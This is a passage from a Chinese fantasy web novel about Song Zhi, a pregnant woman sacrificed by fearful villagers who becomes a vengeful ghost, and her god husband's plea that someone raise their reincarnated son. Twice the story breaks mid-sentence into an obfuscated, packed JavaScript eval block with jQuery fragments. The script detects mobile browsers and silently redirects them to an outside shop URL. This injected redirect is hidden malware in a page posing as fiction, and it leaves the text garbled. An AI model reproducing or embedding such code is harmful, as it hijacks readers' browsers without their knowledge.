那一年时意牵来了一匹宝马,在酒铺门口从凌晨等到了破晓,待宋芷起来开摊时便见到了那位她心心念念的公子。
时意是来接走宋芷的,他既然是来接人,接的还是他的心上人,那么便不能让心上人受了奔波之苦。于是,那开了一年又一年的酒铺从此就关上了,酒铺的老板娘骑着宝马,被一位公子牵着离开了那里。
有情人当是终成眷属,长长久久,相濡以沫。
不久后,两人就成了亲。公子三媒六娉,八抬大轿将心上人接回了家里,姑娘则是凤冠霞帔,十里红妆,心安理得嫁给了钦慕之人。满屋子都是喜庆模样,红旎帐,紫檀香,合卺酒,两人相依谓卿卿。
这原是两情相悦,理应朝朝暮暮。
成亲后时意辞去了官职,二人想找个安静的地方共度余生,就这样来到了孤山。
杏花村刚建不久,也接纳外来的人员,时意和宋芷都十分感激,将自己在外面所学的技艺也都传输给了村里人。也是这样这村里才种起了杏子,养起了桑树,酿起了桑葚酒。
那时候杏花村,朝气蓬勃,一点儿也不像是个背阳的村子。宋芷和时意也在这村子里过得十分开心。
后来太商国灭了,他们失去了自己的国家,然而某天,空中电闪雷鸣,直直击打到了时意和宋芷的房子,然后一道白光照射。时意就那么飞升成了神仙。
这原本是一件开心的事情,毕竟谁家还不想出个飞升的人。
时意走时,宋芷还是那句:“我在这里等你,你要来看我。”
可是谁又知道后来会发生那么多事情。
宋芷没来的及告诉时意自己有身孕的事情,于是便一个人傻傻的等了很久。
神仙上界了,杏花村也开始有鬼怪来访了。顿时间,所有村民都变了。每个人都心惊胆战,深怕哪天就成为了鬼怪口里的食物。
人一旦害怕,那么就会做出一些违心的事情。
不知何时,杏花村有人在山下请来了一群道士,那些道士模仿着傩师的穿着却又不是傩师,说白了就是一群普通凡人。
可是恐惧之时谁又会听得进去一句实话。
看着被鬼怪啃食了半截身体的人尸,道士召集了村民,在众人面前道:“鬼怪出入村中肯定是因为有人犯了忌,引得山上的山神不满,所以才让鬼怪横行在村中,要是想让这村里有片刻安宁,那么就需要有人牺牲成为鬼怪的祭品!!”
这话听起来怎么也像是一句忽悠,宋芷比较理性,立马就阻止了起来:“各位,不要听他乱说,即便是有人献祭了,鬼怪也还是有的,而且会越来越多!”
有道士听后,回驳:“哟,那你有办法?你能让鬼怪不做乱,不吃人?!呵,你不能!除了献祭,除了我们做法,根本就没有办法了!?”
宋芷不信,“会有的,大家不要相信他们,他们说不定只是……只是为钱而已。”
可是谁在听她讲话,谁都没有,人群中不知有谁喊了一句:“你那么厉害,你在这嚷嚷,要不就你去吧。”他的意思很明确,要不就让宋芷成为祭品。
宋芷本是女子,又有身孕,挺着六个月的肚子,在这里劝着一群毫无理
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14033232|148103||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
智的村民,很难不成为攻击对象。
事情没有很糟,至少还是有人站出来劝说,“你没看到她挺着肚子吗?你怎么这么不要脸,说出这样的话!”
说话的人闭了嘴,可是道士又开始洗脑:“今夜午时,村里要祭出一位姑娘,还有钱币百两,否则,下一个死的是谁我就不知道了。”
村民又开始恐慌了起来,嘈杂的声音让宋芷很不是滋味,她心里念叨着时意,要是时意在就好了。
村里没几个姑娘,能拿去当祭品的也是屈指可数,村长和道士们商量了一个晚上也没得出结论。
第二天,确实有人死了,死的还是那位替宋芷说话的少年。年纪轻轻却被鬼怪咬断了脖子,惨不忍睹。少年的母亲哭的太过用力昏厥了过去。
而道士的一句话却让宋芷如临深渊。
他道:“可惜咯,这次死的这位是帮宋姑娘说话的人呢,宋姑娘丈夫也是被克死了?”
阴险小人,光凭一张嘴巴就能扰乱人心。
“不,不是的。不是我!”宋芷几乎奔溃,时意没有死,他飞升了,可是谁又知道呢,神仙飞升本就是一件很隐秘的事情,为的是减少人间的攀权附势,可是为什么会变成这样。
“对呀,他丈夫也不知怎么死的。”
“这两人是从外面来的……会不会这女的……”
“可是他们之前还帮了我们,教会我们很多东西呀!不能这么说的。”不知说这话的是那个小朋友,被父母打了一巴掌,然后便闭上了嘴。
“看来这祭品是有着路了。”道士笑得阴森,宋芷看着,比那鬼怪还让人恶心。
“不要!大家听我说,我没有克死时意,我没有!!”宋芷护着自己肚子里的孩子,“你们真的不要相信他,他是错的!”
可是村民们已经疯了,他们一个个朝着宋芷走来,然后将她的手脚绑了起来,奈何宋芷怎么哭着求饶,怎么喊道:“放了我,求你们了,我还有孩子!”
可是谁会在乎呢?人们只相信自己愿意相信的东西,而一旦相信,就是你再对,于他们而言也是错的。
宋芷被他们捆绑着丢到了枯井外,被鬼怪啃食而死。她死后那些道士怕她化成厉鬼前来索命,就召集村民将她锁在了枯井里,钉进木棺中,用四大神兽将其困住。
时意是在人间记事簿里看到了这一切,他在神主的金阳殿内跪了三天三夜才被贬职做了山神。
他每日守着宋芷的木棺,曾也试图破坏了这墓穴,可是已经没有用了,直到后来宋芷化为了极恶。
“我不知道她在阴界经历了什么,也不知道她怎么成为的九幽极恶,但是她所经历的这一切,都是我的错。”时意说着几乎要将身子扑在了梅花鹿上。
沈秋白道:“这么看来,宋姑娘也是个可怜人,但这也不会成为减轻她罪罚的理由。”
时意道:“我也恨,我也有私心!但是杀害杏花村村民一事并非芷儿有意为之,我相信芷儿即便如此也不会做这样的事情,她是受人所控的,我见到她时,她便已经不受控制,举止匪夷所思,杀人也非她本愿,请二位大人明查!”
受人所控,什么样的人能够控制得了一只极恶鬼,又是神仙,亦或是更强大的恶鬼?
“你说他受人所控,可有证据?”伊见喜问道,他也觉得要控制一只极恶鬼并非易事,就是他和沈秋白也是要些难度的。
时意突然被噎了一下,他像是默默认了,因为他没有证据,他寻找了很久总是找不到那人的踪迹,“没有……”他说着痛苦地低下了头。
10. 山时意(七)
“没有证据,你就是空口无凭。受到如此重创,即便是有恨有怨也都正常,因为恨意杀人的,我做为神仙这么久以来,见过的也不少。”沈秋白不由分地说道。
他说的没错,恶鬼因为心生恨意为祸苍生的那可太多了,若是像经历宋芷这样的事情后还能毫无怨气的才是不正常,这样的,他做神以来可是从未碰见。
时意见到宋芷时,宋芷确实表现得有些疯癫。她杀人却又救人,可是救来的人最后也被她杀了。时意曾想过靠近她弄清楚状况,却也被她当成了村民,打了一场,他不忍心伤害宋芷,所以受了伤,最后却只能在暗处默默观察着她。他很着急,想了无数办法,认为是她在九幽受了刺激才变得这幅疯样。
有一天,他在枯井旁看见宋芷对着一颗杏树讲话,可是他什么都看不见,只听宋芷道:“我杀了他们。”
“你真的知道我的孩子在哪里吗?”
“告诉我,求求你。”
可是那边却没有声音。见宋芷对着杏树说了好久的话,甚至让时意以为宋芷真的疯了。
可是事情还是很蹊跷,即便什么也看不见他还是坚信是有人在控制她杀人。
后来,他没有找到他认为的控制了宋芷的人,只能耗尽身上的法力造了个结界,期望着让九重天的神仙晚点发现,想护一护宋芷。
杏花村村民全死了,他才察觉自己是错的,是罪人。
见水火二神终是来此,他又用仅存的法力造了个幻境,将杏花村变得生机勃勃,可是终究是纸包不住火。
虽然时意话听起来确实没有什么说服力,但于观南认为或许真有人控制了宋芷,而且这个人可能还与厌火国有关,与世钰甚至也有关系。
“时意!你来见我了么?”
庙外,一只极恶女鬼站在废墟上,她身上还是那凤冠霞帔,面容阴冷,一动不动地看着北水庙的方向。
庙里的人纷纷冲了出来。
“芷儿!”时意喊道。
宋芷大笑:“你为何现在才出现?为什么!!”她道:“你在害怕吗?时意,害怕我变成这副模样,害怕我疯了一样的杀人?!”
她看着面前的神仙,看着时意,“你……找人来捉我了,时意啊时意,我等了你那么久,你为什么要骗我?你说过会来见我的,你说过的,你骗我——”
“不是的,芷儿!是我没遵守承诺,是我不对!你要我怎样都行……”时意道。
“呵,”她红着双眼,恶狠狠地道了句:“我要你死!”
水火二神是在她出现的那一刻冲了过去的。于观南则是护着身旁的小鹿,而后安慰:“别害怕,我不会让你有事的。”
当地底的凶尸再次出来时,于观南将一推符纸塞到了小鹿手上,“这东西你拿好了,有凶尸过来就朝他贴去。”虽是情况紧急但他还是拍了拍小鹿的后背,拍完他便也加入到了战斗中。
宋芷已成疯魔,到了无药可救的地步,水火二神将其围住,却也被她身上的怨气所伤。
沈秋白抵着从宋芷身上源源不断散出的怨气,道:“宋姑娘,你冷静些,莫要再让仇恨蒙蔽了本心!”
“本心?哈哈哈哈!太好笑了,真是——太好笑了!”刹那间,宋芷体内迸发出一道攻击力极强的力量。
小鹿被这股力量击晕在了地上,于观南赶紧爬起将人怀抱在了胸前,看着前方的恶鬼,“这是,她在做什么!”
时意看过去,连滚带爬的朝着宋芷而去,却被一道法力隔开了,他大喝:“别!芷儿——不要!”
宋芷在燃烧自己的灵魂。
“简直是疯了!这极恶鬼不想活了吗!”伊见喜道,他不明白竟会有人用这样的办法让自己强大起来,他嘴里嘲笑着,嘲笑这是多么愚蠢的行为,一边道:“她不知道她面对的是谁吗?五行水火,她就算将灵魂烧尽也没有胜算!”
宋芷已经停不下来了,这么多年来,她被恨意缠绕,拼了命的活下去。若非那道士钉的木棺,她或许早就轮回转世了。
可是当她的灵魂进入阴界时,却被黑白无常带到了地狱受罚,九百九十个日夜的炼狱之痛。待受完刑法后,她的灵魂便被遗弃在了阴界的枉死城。她有恨意在身,往前踏了一步跌落到了九幽。一个女子,一个有着身孕的女子,她在九幽竟然活了下来,那有多难啊。
水火二神已经亮出了神武,沈秋白道:“宋姑娘,你已经输了,不要再逼迫自己了。”
是的,宋芷早就输了,她其实不是一只实至名归的极恶鬼,这不过是个偷来的噱头,她只是一只,充满了恨意的恶鬼。
可是她还是想挣扎一下,就像活着时被绑上木棺一样。于是她燃烧着灵魂,拼尽全力的要与着水火二神对抗到底,只是当两位神仙一同劈剑下来时,她还是败了。
宋芷被水火二神挟持,跪在了地面,“啊啊啊啊啊啊啊!!!”她怎么甘心啊,怎么会甘心。
于观南抱着小鹿的手收了收,“宋姑娘……”他自是知道的,受害人变成施暴者时是多么的无能为力,就好像一只搁浅的鱼儿。
无处喊冤,无处发泄,好像自己做什么都是错的,全是错的,变成恶鬼屠杀村民是错,心中有恨是错。可是,地狱之邢她受过了,恶鬼厮杀她体验了,痛失亲生骨肉……她不得不恨啊。
“芷儿,芷儿……”时意爬到了宋芷面前,泪流满面,他道:“对不起,对不起……”
被水火二神制止的宋芷,恢复了一些意时,只不过灵魂依旧在燃烧,她看着时意的眼神里充满了不舍,她带着哭腔,“时意……其实我一直知道自己杀人是错的,但是,我回不去了,我……”
宋芷在逐渐变淡,伊见喜和沈秋白往她身上输送着法力,在极力阻止着她灵魂的消散。
“宋姑娘,你的事情我们大有了解,一切前因后果都非你一人造成,你千万不要想不开啊!!”沈秋白道,他和伊见喜在宋芷后背不段传输着法力,但是她依旧变淡了。
许久,宋芷看向了于观南怀里的小鹿,痴痴道:“这孩子……这孩子长得真好……要是,我的孩子转世了,也定是他这副模样。”
顷刻之间,宋芷的身上发出强光,水火二神被刺激得松开了束缚她的手。
时意立马扑了上去,可是宋芷的身体已然消散,他一扑便空了,宋芷没有告别,只道了一句:“若是,若是我们的孩子还在就好了……”
“芷儿!!”时意已经跪趴在了地上,他撕心裂肺地喊着,可是那只恶鬼已经魂飞魄散,这世上也再无法找到一位宋芷姑娘。
她早就打算死了,因为上天根本没有给她留一条活路。杀了那么多人,毁了一个村庄,这样的结果,她也不想,可是有什么办法呢?谁又能替她着想,替她指出一条出路呢?
时意不行,来此的水火二神不行,所以,她能怎么办?
“这……这……”伊见喜有些不知道说些什么,他当神仙那么久,确实还没经历过这样的事情。
于观南将小鹿轻放在地上,然后走向了时意,“宋姑娘是个很坚韧的女子,山神,请节哀吧。”
时意保持着环抱的手势,呆呆地看着宋芷消散的地方,他忽而想起那个姑娘对他说:我等你回来。
是他食言了,他没有来见她。
他像是接受了现实,平静之后,他道:“二位大人,这一切因我而起,带我回九重天领罚吧。”时意说着,从地上站了起来,转身看向了于观南,“不过在此之前,我想请于公子帮我一个忙。”他说着已经跪在了于观南面前。
于观南下意识的要去将人拉起来,可是却被时意紧紧将手抓住,“杏花村几百人的性命是因我所致,……我愿意受最重的刑法,只求于公子帮我照顾我的孩子。”
话一落,在场的三人齐声问道:“你的孩子?”
时意点头道:“是的,虽然他已经转世了。”
于观南蹲下身扶着时意,“山神可能细说?”
时意平息后道:“芷儿死后,我便疯了一般在村里找她的灵魂,后来迫于无奈我就跑到了阴界。”他看着几人不可置信的样子,笑道,“很疯狂对吧?那些阴界的鬼见到一个神仙进来也都是像各位一样的表情。”
“我在阴界
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14044208|148103||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
找了很久,连森罗殿都去过了,只是差点被阎魔打死。我知道芷儿的灵魂大抵已经不在阴界了,准确地说,是已经跑到了九幽。我进不去九幽,于是就跑到了忘乡台,我在那里找到了孟婆,她告诉我有一个姑娘手里捧着一个婴儿的灵魂,亲自送到了轮回六道门处。”
于观南一听便知道了怎么回事,若是一个死去的孕妇,将自己的一丝灵魂注入这未出生的孩子体内,那么这孩子在阴界也会形成独立的灵魂体,如此就能转世重新为人。可是,一旦灵魂不全,在阴界会引来各路恶鬼,对于那些恶鬼来说,灵魂不全便代表着没有攻击性可言,所以,宋芷受到的苦会更多。
“我在忘川河边将那缕用剩的,残败不堪的灵魂拾了起来,也找到了那个孩子的出生地。”时意的眼睛看向了小鹿。
于观南已经明白了,“所以你那梅花鹿里有着宋芷注入到小鹿体内的灵魂,而小鹿就是你们转世轮回的孩子?”
“没错。不知是不是因为我和宋芷的缘故,小鹿一出生生身父母都死了。我求求你,求求你,帮我照顾他。”时意说罢,向于观南磕了一头,“求你了!”
于观南长叹一气,除却驱鬼,他不是一个会多管闲事的人。他也知道,他身为傩师,驱鬼是本职,这也说明了他随时都可能因为驱鬼而丧命,这很不安全,他不保证会照顾好一个十四岁的孩子。
而且让他有些怀疑的是,阴界厉鬼众多,一个婴儿而已,若没有鬼差相送哪那么容易过得去轮回六道门。
小鹿真的山神的孩子吗?
“我……不能。”他道,可是看着长跪不起的山神,他还是动摇了,“山神请起吧。”
“于公子是答应了么?”
“答应了。小鹿,我会代你照顾好。”于观南道。
“时意谢过公子!”时意起身道。他最后再看了一眼小鹿,或许他这辈子再看不到第二面了。
见时意像是了了心愿,于观南却想起他所说的“那人”,“不过,我还有一问,那个控制宋芷的人,你说的可是真的?”
时意笑了笑,轻轻地摇了摇头,“不重要了,那个人我寻找许久都未曾找到,或许,真是我多疑了。”如今,他遭了报应,宋芷也死了,杏花村也毁了,那个人是谁他也不想追究了。
于观南看他如此,也便不问了。想来笑脸鬼一事也少有人知晓。
杏花村的阴霾已经散去,有几束阳光照了下来,撒在了那些废墟上,随处可见的尸体也慢慢变成了轻烟,清风一吹就漫天散了去。有几根小草拔地而起,迎着烈日向上做着攀爬,杏园也恢复了原来的样子,娇羞的菊花还在风中舞蹈,一切都重回生机。
事情尘埃落定后,沈秋白和伊见喜也有了交代。沈秋白道:“此事已落下帷幕,多谢公子一路帮助,我等就先带山神回九重天了,公子多多保重。”说着他们对于观南行了一礼,带着山神就往九重天飞去。
“保重。”于观南看着他们的方向,片刻后走到了小鹿身边,将人轻轻扶起,然后背在了身后,往山下去。
彼时有落叶纷纷,有落霞孤鹜,还有柔柔清风。
他并不知道自己能不能照顾好小鹿,也不知道小鹿醒来了会是作何感想,他会不会大哭一场,或是大闹一场,不过随便吧,哭便哭了,闹便闹了,他既然答应了,就是千刀万剐,万死不辞。
下山的时间有些长,走到一半他又停了下来,往后看去,“你还要跟我多久?”
季冥渊站着霞光下,满脸笑意,“于公子要带这孩子回家么?”
于观南道:“对,带他回去认领师门。”
“那不如也带上我?”季冥渊调侃道,“你不该报恩吗?”
于观南转过身,继续往前走去,“我是傩师,怎么会带只恶鬼回去。再说了,我师父会疯掉的。”
“哈哈哈哈!”于是季冥渊大笑着消失在了于观南身后。
于观南也没再回头,他觉得背着个人挺麻烦的,御剑不成,步行的话,估计要走很久了,不过见他背上的孩子睡得死气沉沉又不忍心叫醒,只能好人做到底,苦一段路程吧。